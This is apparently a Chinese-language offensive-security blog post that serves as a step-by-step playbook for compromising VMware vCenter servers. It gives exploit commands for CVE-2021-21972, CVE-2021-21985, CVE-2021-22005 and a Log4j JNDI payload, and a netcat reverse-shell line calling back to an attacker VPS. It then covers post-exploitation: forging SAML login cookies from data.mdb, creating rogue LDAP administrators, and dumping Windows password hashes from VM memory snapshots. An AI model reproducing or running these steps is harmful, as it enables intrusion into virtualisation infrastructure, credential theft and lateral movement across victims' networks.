實戰分享 | VMware vCenter漏洞實戰利用總結
前言
Vcenter一般指VMware vCenter Server,其提供了一個可伸縮、可擴展的平臺,為虛擬化管理奠定了基礎,可集中管理VMware vSphere環境,與其他管理平臺相比,極大地提高了IT管理員對虛擬環境的控制,Vcenter可以使管理員從一個位置深入了解虛擬基礎架構的集群、主機、虛擬機、存儲、客戶操作系統和其他關鍵組件等所有信息。
利用思路
- Vcenter利用點非常多,獲取權限之后危害較大,并且web特征明顯,內網中很容易被發現。
- 發現之后,查看Vcenter版本信息,確定存在的漏洞,通過漏洞獲取webshell。
- 測試權限,如果權限為root,進行偽造cookie或者創建用戶操作獲取web權限,進入vCenter后臺獲取更多機器的權限,盡可能的滾雪球擴大戰果,如果權限為vsphere-ui,則查看版本是否存在條件提權,存在條件提權就提權到root權限,重復root權限操作。如果不存在條件提權,就盡可能的從當前機器中記錄數據,以此機器作為跳板機進行內網漫游。
實戰思路
- 為什么要打Vcenter
Vcenter人送外號小域控,Vcenter拿下之后,不單單只是獲取一臺服務器的權限【因為Vcenter的管理端中必然會有其他的虛擬機存在】,拿下Vcenter的價值不亞于域控的價值。
- 怎么尋找公網的Vcenter
通過搜索語法查找公網Vcenter服務器,一般Vcenter開放的端口為5480,此外,使用工具獲取網頁title時,也可以發現Vcenter服務器。
title="+ ID_VC_Welcome +"
- 打下Vcenter之后應該做什么
內網三要素,我是誰?我在哪?我要去哪?接下來就是翻找數據,偽造cookie或者創建用戶操作獲取web權限,獲取windows機器的hash,或者直接進入虛擬機進行信息搜集,做專屬的密碼本,一些相關的敏感數據也是加分項,以便于后期的內網滲透,信息搜集做的好,漏洞絕對跑不了。
查看Vcenter版本
/sdk/vimServiceVersions.xml

漏洞利用
·Nuclei
工具介紹
Nuclei是一個快速的、基于模板的漏洞掃描程序,專注于廣泛的可配置性、大規模的可擴展性和易用性,方便利用模板快速定位漏洞。
項目地址
https://github.com/projectdiscovery/nuclei
·CVE-2021-21972
使用腳本
https://github.com/NS-Sp4ce/CVE-2021-21972
命令
python cve-2021-21972.py -url


影響版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
攻擊腳本至少需要寫120次,尋找真實的絕對路徑,受網絡問題影響較大,如果寫入成功,就會直接回顯shell地址。
確認漏洞
- 通過Nuclei獲取存在漏洞的網站。
- Url中拼接/ui/vropspluginui/rest/services/uploadova,如果頁面返回狀態碼為200、405,則可能存在漏洞。

·CVE-2021-21985
使用腳本
https://github.com/r0ckysec/CVE-2021-21985
命令
VPS
java -jar JNDIInjection-Bypass.jar 1099 <vpsip> <監聽port> # 使用腳本生成pyload nc -lvvp <監聽port> # nc接收反彈shell


攻擊雞
python cve-2021-21985_exp.py <target> <rmi://ip/class>

影響版本
VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1
確認漏洞
nuclei掃描
·CVE-2021-22005
使用腳本
https://github.com/shmilylty/cve-2021-22005-exp
命令
exp.exe -t <target> -s <webshell>

如果不指定-s的話,會上傳默認的cmd.jsp,可以指定自己生成的馬兒。


影響版本
VMware vCenter Server 7.0
VMware vCenter Server 6.7 Running On Virtual Appliance
VMware Cloud Foundation (vCenter Server) 4.x
VMware Cloud Foundation (vCenter Server) 3.x
確認漏洞
利用nuclei掃描
·Log4j
使用腳本
https://github.com/zzwlpx/JNDIExploit
命令
漏洞成因是Vcenter的SAML路由中,可以通過增加XFF頭觸發漏洞,把需要執行的命令跟在XFF后面。
SAML路由路徑如下:
/websso/SAML2/SSO/vsphere.local?SAMLRequest=
Payload如下:
${jndi:ldap://exp}


exp的內容需要通過上面給出的腳本JDNI注入工具完成。
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip
查看可執行的命令
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

利用命令行反彈shell
利用命令行反彈shell的方式有兩種,第一種是直接使用工具中自帶的/ReverseShell/ip/port,但是這種方式不適合用于Vcenter,雖然可以反彈回shell,但是執行命令無法回顯。這里選擇使用以下命令反彈shell
nc -e /bin/sh vps_ip port


后續利用
獲取web權限
·偽造cookie
使用腳本
https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py
命令
使用腳本時可能會報錯,需要提前安裝requirements.txt下的庫

windows下安裝python-ldap的方法:
下載對應python版本的python-ldap(cp310代表的是python3.10的版本)
項目地址
https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap
pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl


獲取data.mdb
windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb linux:/storage/db/vmware-vmdir/data.mdb
從目標機器/storage/db/vmware-vmdir/的目錄下下載data.mdb。
偽造cookie
目標機器內網ip需要本地可以訪問到,否則無法偽造cookie。
python vcenter_saml_login.py -t <目標機器內網ip> -p data.mdb

使用cookie修改工具,修改cookie的值


修改完成之后,點擊頁面的啟動


如果沒成功,則代表需要設置hosts指定域名和ip的關系,清除瀏覽器緩存重新訪問。
·LDAP創建管理員
使用腳本
文章
https://3gstudent.github.io/vSphere開發指南5-LDAP
腳本
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py
實戰
將腳本上傳之后,執行命令搜集相關信息,方便后續替換
python update.py python update.py getadmin python update.py getuser



根據收集到的信息修改腳本內容

使用下列命令adduser、addadmin
python update.py adduser python update.py addadmin


登錄驗證

·獲取Vcenter后臺windows機器權限
使用腳本
https://www.volatilityfoundation.org/releases
手法
利用偽造cookie或者LDAP創建管理員進入到后臺,找到一臺處于鎖屏界面的windows主機,創建快照。

快照保存在相對應的數據庫中,在相對應的數據庫中下載vmem和vmsn這兩個文件。

利用volatility查看Suggested Profile(s)
默認選擇第一個(volatility默認推薦)
volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo

列出注冊表內容
volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist

使用hashdump獲取hash值
volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010

還有一些其他的手法本文未提及,D大的可以自行研究下,提前祝大家周末愉快!